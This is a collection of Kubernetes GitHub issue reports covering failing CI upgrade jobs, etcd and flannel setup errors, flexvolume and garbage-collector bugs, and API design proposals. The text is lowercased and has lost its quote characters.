starting last night  pacific time , all gke upgrade tests started failing.  many of them were very flaky before that, but even the non-flaky ones have been consistently failing since 13:00 on oct. 29th.  since this does not line up with any particular commit  or infra commit , i strongly suspect that it's due to a change in gke.\r \r   which jobs are failing  :\r \r   https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-master\r   https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-cluster-parallel\r   https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-cluster\r   https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-master-gci-new-downgrade-cluster\r   https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-master-gci-new-downgrade-cluster-parallel\r   https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-cluster-new\r   https://k8s-testgrid.appspot.com/sig-release-master-upgrade gke-gci-new-gci-master-upgrade-cluster-new-parallel\r \r   which test s  are failing  :\r \r inconsistent, does not appear to be a particular test issue.  for gke-gci-master-gci-new-downgrade-cluster, for example,  all  of the tests are failing.\r \r   since when has it been failing  :\r \r oct. 29th, sometime after 13:00\r \r  / 

we have a  live update example  https://github.com/googlecloudplatform/kubernetes/tree/master/docs/user-guide/update-demo  for updating pods. we should have a corresponding example for updating clusters.

i am trying to setup a test cluster on a few fresh ubuntu trusty64 vms using the docker multi-node getting started guide but at the very first stage on the master node, etcd fails to startup with the provided parameters and gives an error:   2015/07/06 13:20:39 etcd: listen tcp: lookup localhost: no dns servers    even after i got it up and running with the following changes to parameters:      docker -h unix:///var/run/docker-bootstrap.sock run -d \\           --net=host \\           -p 4001:4001 \\           -p 2380:2380 \\           --name etcd \\           -v /opt/etcd:/opt/etcd \\           -v /usr/share/ca-certificates/:/etc/ssl/certs \\           -e \ service_2380_name=_etcd-server._tcp\  \\           gcr.io/google_containers/etcd:2.0.9 \\           /usr/local/bin/etcd \\           -data-dir /var/etcd/data \\           -name coremaster-01 \\           -listen-client-urls http://172.17.8.100:4001,http://127.0.0.1:2379 \\           -advertise-client-urls http://172.17.8.100:4001 \\           -listen-peer-urls http://172.17.8.100:2380 \\           -initial-advertise-peer-urls http://172.17.8.100:2380 \\           -initial-cluster coremaster-01=http://172.17.8.100:2380 \\           -initial-cluster-state new       etcdctl  still cannot connect to it on the same vm and gives this error:   error:  cannot sync with the cluster using endpoints http://127.0.0.1:4001, http://127.0.0.1:2379   is this supposed to work the way i am trying to use it or have i completely missed something? @brendandburns any ideas?  thanks in advance.

is this a bug report or feature request?    choose one : bug report\r \r \r   kubernetes version    use  kubectl version  :\r v1.6.0-alpha.0.3307+a29c51c6abf231\r \r   what happened  :\r e2e gce test flake\r \r jan 16 11:38:02.344: failed to setup provider config: error building gce/gke provider: googleapi: error 500: internal error, internalerror\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/39042/pull-kubernetes-e2e-gce-gci/12804/\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/39042/pull-kubernetes-e2e-gce-gci/12804/?log log

as a developer who deploys on a kubernetes-on-openstack private cloud, i would like to be able to specify certain load balancer settings at the service level rather than the cluster level.\r \r at present, there is no way to specify which provider a load balancer is created under. you can specify the following settings in the \  loadbalancer \  section of your --cloud-config file, which will control the settings for all service loadbalancers on your cluster:\r \r lb-version\r subnet-id\r floating-network-id\r lb-method\r create-monitor\r monitor-delay\r monitor-timeout\r monitor-max-retries\r manage-security-groups\r node-security-group\r \r i propose that we add a set of service annotations to override some  or all  of these values. this will give developers much more flexibility in how their services are deployed. \r \r the annotations should share a common, simple structure that is similar to that of pkg/cloudprovider/providers/aws's annotations:\r service.beta.kubernetes.io/openstack-load-balancer-provider\r service.beta.kubernetes.io/openstack-load-balancer-subnet-id\r service.beta.kubernetes.io/openstack-load-balancer-lb-version\r service.beta.kubernetes.io/openstack-load-balancer-floating-network-id\r service.beta.kubernetes.io/openstack-load-balancer-lb-method\r service.beta.kubernetes.io/openstack-load-balancer-create-monitor\r service.beta.kubernetes.io/openstack-load-balancer-monitor-delay\r service.beta.kubernetes.io/openstack-load-balancer-monitor-timeout\r service.beta.kubernetes.io/openstack-load-balancer-monitor-max-retries\r service.beta.kubernetes.io/openstack-load-balancer-manage-security-groups\r service.beta.kubernetes.io/openstack-load-balancer-node-security-group\r \r we would only need to insert some small checks into the code to make sure that the annotations take a higher  their corresponding --cloud-config setting.\r \r label:sig/openstack

42059 added it, so assigning @deads2k.\r \r hit the flake here: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/42182/pull-kubernetes-unit/20832/

feature request  :\r \r   tldr  : we should either remove conditions from the workloads api surface or invest in them. \r \r the workloads api does not use conditions uniformly across the surface.\r \r | object | uses conditions |\r |:----------|:----------------------:|\r |daemonset|no|\r |deployment|yes|\r |replicaset|yes|\r |statefulset|no|\r \r if they are valuable to users, and if their current use is a best practice, we should use them uniformly across the api surface. if they are not valuable, or if we should really be using status fields for the workloads api, we should deprecate them  preferably prior to v1 .\r \r to achieve consistency across the surface we could take three approaches.\r \r 1. invest in conditions - if they have value we should use them more uniformly. \r     1. statefulset could add a condition type to indicate inprogress when it has less than the desired number of replicas, available when all pods are ready, and blocked when it fails to launch a pod and it can no longer make progress due to its ordering constraint. \r     1. daemonset could add a condition type to indicate inprogress when it has yet to launch a pod on all nodes that its node selector matches, failed when it can't schedule a pod on a node due to a resource constraint violation  port conflict, insufficient non-compressible resource, etc , and saturated when all selected nodes have a pod that is ready.\r \r 1. move conditions to fields - aside from reason and message, the information contained in deployment and replicaset conditions can be represented as an enumeration  this will have the same issue as phase  and a boolean value respectively. we will no longer have the ability communicate messages and reasons via status, but we could consider providing these asynchronously via events.\r \r 1. remove conditions - if we think  2  is a good idea, we should also consider removing conditions entirely. without a reason or a message, the condition field is a summary that is mostly extrapolated form other fields of the objects' status.\r \r the investment to maintain what is implemented for  1  is non-trivial, and the investment to ship it as a feature that spans the workloads api surface is significant when we account for maintenance cost throughout the lifetime of the api. the  detailed data  https://docs.google.com/a/google.com/spreadsheets/d/e/2pacx-1vsu-kunrkl_ash4cfufhbnucue-o-hkpmnqoslvsu-hh9a0cxqt-o8czjiojyewckguinm9_dso-syd/pubhtml  collected in  50798 seems to demonstrate the use of conditions is far from universal in our api objects and that most of the fields of conditions, when implemented, are not used.\r \r  2  and  3  have a one time cost to modify the deployment and replicaset apis, and they reduce maintenance overhead across the workloads api, but if we want to converge the storage and processing for replicaset and replicationcontroller we will have to carry the deprecation for quite a long time. also, we should consider that, though they are few, the uses of deployment conditions might add legitimate value and warrant adoption in other controllers.\r \r   api   \r @kubernetes/sig-api-machinery-feature-requests \r given  7856 and  community  606  https://github.com/kubernetes/community/pull/606  we still lack a formal direction on when to use status fields vs conditions in the general case. we do seem to agree that we should not use them to build state machines and that they should be orthogonal to phase. given the options above, or any others that we should consider, what is consistent with best practices for the k8s api surface?\r \r   apps  \r @kubernetes/sig-apps-feature-requests \r are deployment conditions useful? is the work required to ship and maintain  1  worth it, or are  2  or  3  sufficient?\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  <!--     -->\r \r \r   what happened  :\r \r i add multi flexvolume for testing, but some of them return error, i continue add new available flexvolume after the bad flexvolume, but the kubelet will continually through error:\r \r    \r   message:  \ e0302 06:55:03.630491   30575 desired_state_of_world_populator.go:288  failed to add volume \ 2f2test\   specname: \ 2f2test\   for pod \ 9c56e9b7-1de6-11e8-aabc-42010a8001f8\  to desiredstateofworld. err=failed to get plugin from volumespec for volume \ 2f2test\  err=no volume plugin matched\    \r     \r here is the error when add the bad flexvolume driver.\r    \r message:  \ e0302 05:13:49.243751   30575 plugins.go:515  error dynamically probing plugins:  error creating flexvolume plugin from directory rancher.io~longhorn, skipping. error: unexpected end of json input, error creating flexvolume plugin from directory rancher~rancherflex, skipping. error: unexpected end of json input \  \r    \r here may be the related cause, even if the probe   will continue get all latest flexvolume driver, but in the refreshprobedplugins   it return when error occurred, so the flexvolume will never get updating.\r \r https://github.com/kubernetes/kubernetes/blob/396c3c7c6fd008663d2d30369c8e33a58cde5ee2/pkg/volume/flexvolume/probe.go l117\r \r https://github.com/kubernetes/kubernetes/blob/396c3c7c6fd008663d2d30369c8e33a58cde5ee2/pkg/volume/plugins.go l502\r \r   what you expected to happen  :\r flexvolume should not block each other\r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a bad return flexvolume driver, for example with bad return in init function\r 2. create a good flexvolume driver\r 3. create a pod use the second one as volume driver\r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.0\ , gitcommit:\ 925c127ec6b946659ad0fd596fa959be43f0cc05\ , gittreestate:\ clean\ , builddate:\ 2017-12-15t21:07:38z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.7-gke.1\ , gitcommit:\ 192ccad06d24af9828cbf42330e1d915cb586406\ , gittreestate:\ clean\ , builddate:\ 2018-01-31t21:39:04z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r gke\r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r - kernel  e.g.  uname -a  :\r linux gke-michelia-flextvolume-default-pool-dbaa5b9c-vdfg 4.13.0-1007-gcp  10-ubuntu smp fri jan 12 13:56:47 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r gke\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r disruptive tests using kubeletcommand   fail in k8s environmnets which have no external ip.\r \r   what you expected to happen  :\r disruptive tests using kubeletcommand   succeed in k8s environmnets which have no external ip.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. deploy k8s by using kubeadm without cloud provider.\r 2. do e2e tests with --ginkgo.focus=\ . kubelet restart is readable after restart.\ \r \r   anything else we need to know?  :\r \r disruptive tests, such as testkubeletrestartsandrestoresmount, uses kubeletcommand   to restart kubelet.current kubeletcommand   code in test/e2e/storage/utils/utils.go only tries to find one of external ips to access to node in order to start/stop kubelet. therefore, it fails to start/stop kubelet in k8s environments which have no external ip because no ip found.\r \r as explained in below url, external ips are available only in the k8s environment with cloud provider,\r therefore this test can't work well in k8s environment without cloud provider, such as on-premise k8s installed with kubeadm.\r   https://kubernetes.io/docs/tutorials/stateless-application/expose-external-ip-address/\r \r to make it work well in such environments, kubeletcommand   should fall-back to find internal ips, if no external ip found.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r - cloud provider or hardware configuration: kvm\r - os  e.g. from /etc/os-release :fedora release 27  twenty seven \r - kernel  e.g.  uname -a  : 4.13.9-300.fc27.x86_64\r - install tools: kubeadm\r - others:\r

flaky job: pr:pull-kubernetes-bazel-test  flakes in the past week:   30    consistency:   95.20%         flakiest tests by flake count: | test | flake count | | --- | --- | | //pkg/cloudprovider/providers/vsphere:go_default_test | 4 |       previously closed issues for this job flaking:  53936     flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r \r   >  \r \r   what happened  :\r \r garbage collector hang in  waitforcachesync \r \r https://github.com/kubernetes/kubernetes/blob/v1.9.2/pkg/controller/garbagecollector/garbagecollector.go l140\r \r \r    \r \tif !controller.waitforcachesync \ garbage collector\ , stopch, gc.dependencygraphbuilder.issynced  {\r \t\treturn\r \t}\r    \r \r because  gc.dependencygraphbuilder.issynced  return false continuely, controller not started.\r \r   what you expected to happen  :\r \r garbage collector works as expected.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start kube-controller-manager with commandline params:\r \r    \r --leader-elect=false\r    \r \r \r   anything else we need to know?  :\r \r https://github.com/kubernetes/kubernetes/blob/v1.9.2/pkg/controller/garbagecollector/graph_builder.go l278\r \r \r    \r func  gb  graphbuilder  startmonitors   {\r \tgb.monitorlock.lock  \r \tdefer gb.monitorlock.unlock  \r \r \tif gb.stopch == nil {\r \t\treturn\r \t}\r \r \t// we're waiting until after the informer start that happens once all the controllers are initialized.  this ensures\r \t// that they don't get unexpected events on their work queues.\r \t<-gb.informersstarted\r \r \tmonitors := gb.monitors\r \tstarted := 0\r \tfor _, monitor := range monitors {\r \t\tif monitor.stopch == nil {\r \t\t\tmonitor.stopch = make chan struct{} \r \t\t\tgb.sharedinformers.start gb.stopch \r \t\t\tgo monitor.run  \r \t\t\tstarted++\r \t\t}\r \t}\r \tglog.v 4 .infof \ started %d new monitors, %d currently running\ , started, len monitors  \r }\r    \r \r stopch is nil. it is passed from :\r https://github.com/kubernetes/kubernetes/blob/v1.9.2/cmd/kube-controller-manager/app/controllermanager.go l165\r \r \r    \r \tif !s.leaderelection.leaderelect {\r \t\trun nil \r \t\tpanic \ unreachable\  \r \t}\r    \r \r \r   i don't know why let  stopch  couple with leaderelection. whatever --leader-elect is set, stopch should not be nil.  \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r \r    \r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.2-36+bd3adc80d742eb-dirty\ , gitcommit:\ bd3adc80d742eb3c260a38190baeb639f461e996\ , gittreestate:\ dirty\ , builddate:\ 2018-04-13t01:36:15z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.2-69+9faf4a6380d659-dirty\ , gitcommit:\ 9faf4a6380d659786df4556db45af1da04f9a8da\ , gittreestate:\ dirty\ , builddate:\ 2018-07-04t09:20:49z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

>  _what specific changes need to be made to the code below in order to define environment variables, and then to inject those environment variables into a json definition of a persistent volume?_   \r \r here is my first attempt of a json file in which environment variables would be injected into a definition of a persistent volume:  \r \r     {\r         \ apiversion\ : \ v1\ ,\r         \ kind\ : \ persistentvolume\ ,\r         \ metadata\ : {\r             \ name\ : \ statefulset-pgdata-0\ ,\r             \ labels\ : {\r                 \ name\ : \ statefulset-pgdata\ \r             }\r         },\r         \ spec\ : {\r             \ capacity\ : {\r                 \ storage\ : \ $ccp_storage_capacity\ \r             },\r             \ accessmodes\ :  \ $ccp_storage_mode\  ,\r             \ nfs\ : {\r                 \ path\ : \ $ccp_storage_path\ ,\r                 \ server\ : \ $ccp_nfs_ip\ \r             },\r             \ persistentvolumereclaimpolicy\ : \ retain\ ,\r             \ envfrom\ : {\r                 \ configmapref\ : {\r                     \ name\ : \ aws-auth\ \r                 }\r             }\r         }\r     }\r \r     {\r         \ apiversion\ : \ v1\ ,\r         \ kind\ : \ persistentvolume\ ,\r         \ metadata\ : {\r             \ name\ : \ statefulset-pgdata-1\ ,\r             \ labels\ : {\r                 \ name\ : \ statefulset-pgdata\ \r             }\r         },\r         \ spec\ : {\r             \ capacity\ : {\r                 \ storage\ : \ $ccp_storage_capacity\ \r             },\r             \ accessmodes\ :  \ $ccp_storage_mode\  ,\r             \ nfs\ : {\r                 \ path\ : \ $ccp_storage_path\ ,\r                 \ server\ : \ $ccp_nfs_ip\ \r             },\r             \ persistentvolumereclaimpolicy\ : \ retain\ \r         }\r     }\r \r     {\r         \ apiversion\ : \ v1\ ,\r         \ kind\ : \ persistentvolume\ ,\r         \ metadata\ : {\r             \ name\ : \ statefulset-pgdata-2\ ,\r             \ labels\ : {\r                 \ name\ : \ statefulset-pgdata\ \r             }\r         },\r         \ spec\ : {\r             \ capacity\ : {\r                 \ storage\ : \ $ccp_storage_capacity\ \r             },\r             \ accessmodes\ :  \ $ccp_storage_mode\  ,\r             \ nfs\ : {\r                 \ path\ : \ $ccp_storage_path\ ,\r                 \ server\ : \ $ccp_nfs_ip\ \r             },\r             \ persistentvolumereclaimpolicy\ : \ retain\ \r         }\r     }\r \r but when i type  kubectl apply --filename=statefulset-pv-nfs.json , i get:  \r   \r     error: error validating \ statefulset-pv-nfs.json\ : error validating data:   \r     validationerror persistentvolume.spec : unknown field \ envfrom\  in     \r     io.k8s.api.core.v1.persistentvolumespec;\r   \r also, for completeness, i am including the  configmap  from which i am trying to import the above environment variables as follows:\r   \r     apiversion: v1\r     kind: configmap\r     metadata:\r       name: aws-auth\r       namespace: kube-system\r     data:\r       maproles: |\r         - rolearn: arn:aws:iam::999999999/hjhjjhjhjhjhhj\r           username: system:node:{{something}}\r           groups:\r             - system:bootstrappers\r             - system:nodes\r       ccp_storage_capacity: 400m\r       ccp_storage_mode: readwritemany\r       ccp_storage_path: /mnt/nfsfileshare\r       ccp_nfs_ip: 10.0.0.190\r \r @kubernetes/sig-architecture \r \r    

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r   in  sig-release-master-upgrade  https://testgrid.k8s.io/sig-release-master-upgrade :  \r -  gce-new-master-upgrade-master  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master \r -  gce-new-master-upgrade-master-parallel  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-master-parallel \r -  gce-new-master-upgrade-cluster-parallel  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-parallel \r -  gce-new-master-upgrade-cluster  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster \r -  gce-new-master-upgrade-cluster-new  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new \r -  gce-new-master-upgrade-cluster-new-parallel  https://testgrid.k8s.io/sig-release-master-upgrade gce-new-master-upgrade-cluster-new-parallel \r \r   which test s  are failing  :\r -   sig-apps  daemonset-upgrade \r -   sig-cluster-lifecycle  upgrade  feature:upgrade  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade  \r \r   since when has it been failing  :\r at least 2019-01-07\r \r   testgrid link  :\r -   sig-apps  daemonset-upgrade  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/2112 master-upgrade-sig-apps-daemonset-upgrade \r -   sig-cluster-lifecycle  upgrade  feature:upgrade  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade   https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-master/2112 sig-cluster-lifecycle-upgrade-featureupgrade-master-upgrade-should-maintain-a-functioning-cluster-featuremasterupgrade \r \r   reason for failure  :\r    \r unable to create test daemonset : daemonset.apps \ ds1\  is invalid: spec.template.metadata.labels: invalid value: map string string{\ ds-name\ :\ ds1\ }:  selector  does not match template  labels \r    \r \r  

this is specifically for the rkt runtime. today we accept a bunch of user-generated fields and concatenate them into a string to execute. we should be wary of what this input is as ensure that we escape it correctly.  this is more an an fyi and a note to do an audit, nothing critical at this time.  /cc @yifan-gu @dchen1107 @jonboulle

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r this is the result of mounting an aws efs on my nodes\r \r    kubectl get pv kafka-data -o yaml\r apiversion: v1\r kind: persistentvolume\r metadata:\r   annotations:\r     pv.kubernetes.io/bound-by-controller: \ yes\ \r   creationtimestamp: \ 2019-04-17t23:03:28z\ \r   finalizers:\r   - kubernetes.io/pv-protection\r   labels:\r     app: kafka\r   name: kafka-data\r   resourceversion: \ 204544\ \r   selflink: /api/v1/persistentvolumes/kafka-data\r   uid: 033c299e-6165-11e9-8ccc-064908ab5a14\r spec:\r   accessmodes:\r   - readwriteonce\r   capacity:\r     storage: 8gi\r   claimref:\r     apiversion: v1\r     kind: persistentvolumeclaim\r     name: data-kafka-janitha-0\r     namespace: kafka\r     resourceversion: \ 204541\ \r     uid: 033cf5b9-6165-11e9-8ccc-064908ab5a14\r   hostpath:\r     path: /mnt/efs/kafka\r     type: \ \ \r   persistentvolumereclaimpolicy: retain\r   storageclassname: kafka-data\r   volumemode: filesystem\r status:\r   phase: bound\r    \r i would like the output to show the mount \ events\  like so:\r    \r events:\r   type     reason     age                    from                       message\r   ----     ------     ----                   ----                       -------\r   normal   scheduled  6m40s                  kubelet, <node-1>          successfully mounted <pv-name> on node <node-1>\r   normal   scheduled  6m40s                  kubelet, <node-2>          successfully mounted <pv-name> on node <node-2>\r   error    backoff    6m40s                  kubelet, <node-3>          invalid permissions could not create mount for <pv-name>\r   error    backoff    6m40s                  kubelet, <node-4>         directory does not exist /mnt/efs <pv-name> <node-4>\r    \r \r   why is this needed  :\r \r if something prevented the mount from existing on the node or the permissions were wrong the user would need to check the each node one by one. the pod description does give hints to what is going on, it is a bit \ far\  from the source of the problem\r \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r flannel can't connect kube-apiserver,thus restart very often。\r \r   what you expected to happen  :\r flannel run normal.\r   how to reproduce it  as minimally and precisely as possible   :\r master: kubeadm init  --pod-network-cidr=10.244.0.0/16\r node：kubeadm join --token 3dp75u.icdqwe786yf7vc59 192.168.50.148:6443 --discovery-token-unsafe-skip-ca-verification\r   anything else we need to know?  :\r log as follows:\r root@debian:~  docker logs faa668852544\r i0425 07:14:37.721766       1 main.go:514  determining ip address of default interface\r i0425 07:14:37.724855       1 main.go:527  using interface with name eth0 and address 192.168.50.19\r i0425 07:14:37.815135       1 main.go:544  defaulting external address to interface address  192.168.50.19 \r e0425 07:15:07.825910       1 main.go:241  failed to create subnetmanager: error retrieving pod spec for 'kube-system/kube-flannel-ds-arm-bg9rn': get https://10.96.0.1:443/api/v1/namespaces/kube-system/pods/kube-flannel-ds-arm-bg9rn: dial tcp 10.96.0.1:443: i/o timeout\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.14.1\r - cloud provider or hardware configuration:no\r - os  e.g:  cat /etc/os-release  :no\r - kernel  e.g.  uname -a  :linux-4.9\r - install tools:\r - network plugin and version  if this is a network-related bug :flannel\r - others:no\r

the contrib/ansible project is focused on deploying kubernetes in a production-ready fashion. for example,  1  and  2  hard-code env variables meant for developer deployments. here are a few proposals for improving the addon manifests: 1. if they must be hard-coded, then the manifests should support production deployment requirements by default. 2. turn the yamls into templates  i.e. jinja  and support a minimal number of parameters that meet dev/prod deployment use cases.  the addon manifests should be opinionated by default, but flexible enough to support  _common  _ production use cases such as how services get exposed  nodeport, clusterip, etc.. . otherwise contrib/ansible and potentially other projects that leverage addons need to maintain variations of the manifests to meet production deployment requirements. this can lead to less than optimal user experience.   1  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/cluster-monitoring/influxdb/influxdb-grafana-controller.yaml l56-l67  2  https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/cluster-monitoring/influxdb/grafana-service.yaml l10-l12  /cc: @rutsky @adamschaub

it is possible to create a config map using  kubectl create configmap foo --from-file bar.txt .  we support similarly updating the config map using  kubectl update configmap foo --from-file bar.txt .

networkpolicy got committed with two fields declared incorrectly because of issues with code generation. specifically, networkpolicyingressrule.ports and networkpolicyingressrule.from are supposed to be pointers to slices, so that we can differentiate \ unset\  from \ set but empty\ , but in 1.3 they are slices instead  meaning nil and    are the same thing .  25835  problems with protobuf gen  is fixed now, but there is apparently a second problem, with deepcopy generation  https://github.com/kubernetes/gengo/issues/11 , so we still can't fix it.  afaict this means it is not possible to correctly implement networkpolicy against 1.3, because you can't tell whether a networkpolicyingressrule was supposed to have an unset ports/from  matching everything  or an empty ports/from  matching nothing   @kubernetes/sig-network

from time to time, we are hitting problems that restarting controller-manager is causing some serious issues. in the last few days we were e.g. forced to build 1.4 patch release because of bug in restarting node-controller  but iirc this isn't the first case of such type of bugs .  i think that we should introduce a simple e2e test that will just restart controller manager. if we start running this as part of parallel suites, this will: - enabling testing of controller-manager restarts - should not affect any other e2e tests  if they are not poorly written . - we will face controller-manager restarts during running other e2e tests, which will hopefully reduce risk of such situations in the future.  thoughts?  @lavalamp @davidopp @gmarek @fabioy @ncdc @liggitt  @kubernetes/sig-api-machinery @kubernetes/goog-control-plane

is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t07:31:07z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : self-hosted\r -   os    e.g. from /etc/os-release : ubuntu\r -   kernel    e.g.  uname -a  : linux 4.4.0-59-generic  80-ubuntu smp fri jan 6 17:47:47 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r i'm create pod with command:  kubectl run go-http-test -it --rm --port 5000 --expose=true --image=tanapolsh/go-http-test --restart=never , it also create service for an option  --expose=true  but once i terminate pod, service don't be removed along with pod which cause next execution of the same command would get this error  error from server  alreadyexists : services \ go-http-test\  already exists \r \r   what you expected to happen  :\r kubectl should remove the service on termination.\r \r   how to reproduce it    as minimally and precisely as possible :\r   create pod using  kubectl run go-http-test -it --rm --port 5000 --expose=true --image=tanapolsh/go-http-test --restart=never  and wait for pod to started\r   press  ctrl + c  and wait for pod is terminated\r   run command  kubectl run go-http-test -it --rm --port 5000 --expose=true --image=tanapolsh/go-http-test --restart=never  again, so you will get error\r \r   anything else do we need to know  :\r \r

some of the recent changes in head broke the systemd plugin in fluentd-gcp container and as a result, logs from system journal are not uploaded to gcl anymore on gci/cos. \r  specifically, since pr https://github.com/kubernetes/kubernetes/pull/37681 and pr https://github.com/kubernetes/kubernetes/pull/40017  \r \r   what happened  :\r because of removal of libsystemd setup inside the fluentd-gcp container, the fluentd systemd plugin stopped working and logs from system journal for various services  like kubelet.service and docker.service  are not sent to cloud-logging anymore.\r \r   what you expected to happen  :\r logs from system journal for interesting services are sent to cloud-logging.\r \r   how to reproduce it    as minimally and precisely as possible :\r start a cluster from master branch   hack/dev-build-and-up.sh   on gcp. look at logs from nodes & master in cloud logging logs viewer. docker & kubelet logs are missing.\r \r   anything else we need to know  :\r   issue is only on the master branch. release branches  1.4.x & 1.5.x  does not seem affected.\r   the e2e test   cluster level logging using gcl should check that logs from containers are ingested in gcl   does not seem to catch this breakage.\r \r cc/ @piosz @crassirostris @kubernetes/goog-image @dchen1107 \r

hi, all\r \r i'm running kubernetes 1.5.4, all components are docker  in rancher environment . i have a few pods running with glusterfs volumes, if i restart kubelet container, then all of my applications stop working because they lost connection to glusterfs volumes. can anyone tell me how to fix it? thanks a lot.\r \r    \r 5/24/2017 4:42:31 pmw0524 08:42:31.473548    8074 prober.go:98  no ref for container \ docker://b2ce06bef0f26015c7955828bf9c2974c7536d640294a72190ef88a372425812\   devops-grafana-2716347886-lvp2z_default dc712587-405a-11e7-a8e8-02855b10b453 :devops-grafana \r 5/24/2017 4:42:41 pmw0524 08:42:41.473603    8074 prober.go:98  no ref for container \ docker://b2ce06bef0f26015c7955828bf9c2974c7536d640294a72190ef88a372425812\   devops-grafana-2716347886-lvp2z_default dc712587-405a-11e7-a8e8-02855b10b453 :devops-grafana \r 5/24/2017 4:42:51 pmw0524 08:42:51.473546    8074 prober.go:98  no ref for container \ docker://b2ce06bef0f26015c7955828bf9c2974c7536d640294a72190ef88a372425812\   devops-grafana-2716347886-lvp2z_default dc712587-405a-11e7-a8e8-02855b10b453 :devops-grafana \r 5/24/2017 4:43:01 pmw0524 08:43:01.473630    8074 prober.go:98  no ref for container \ docker://b2ce06bef0f26015c7955828bf9c2974c7536d640294a72190ef88a372425812\   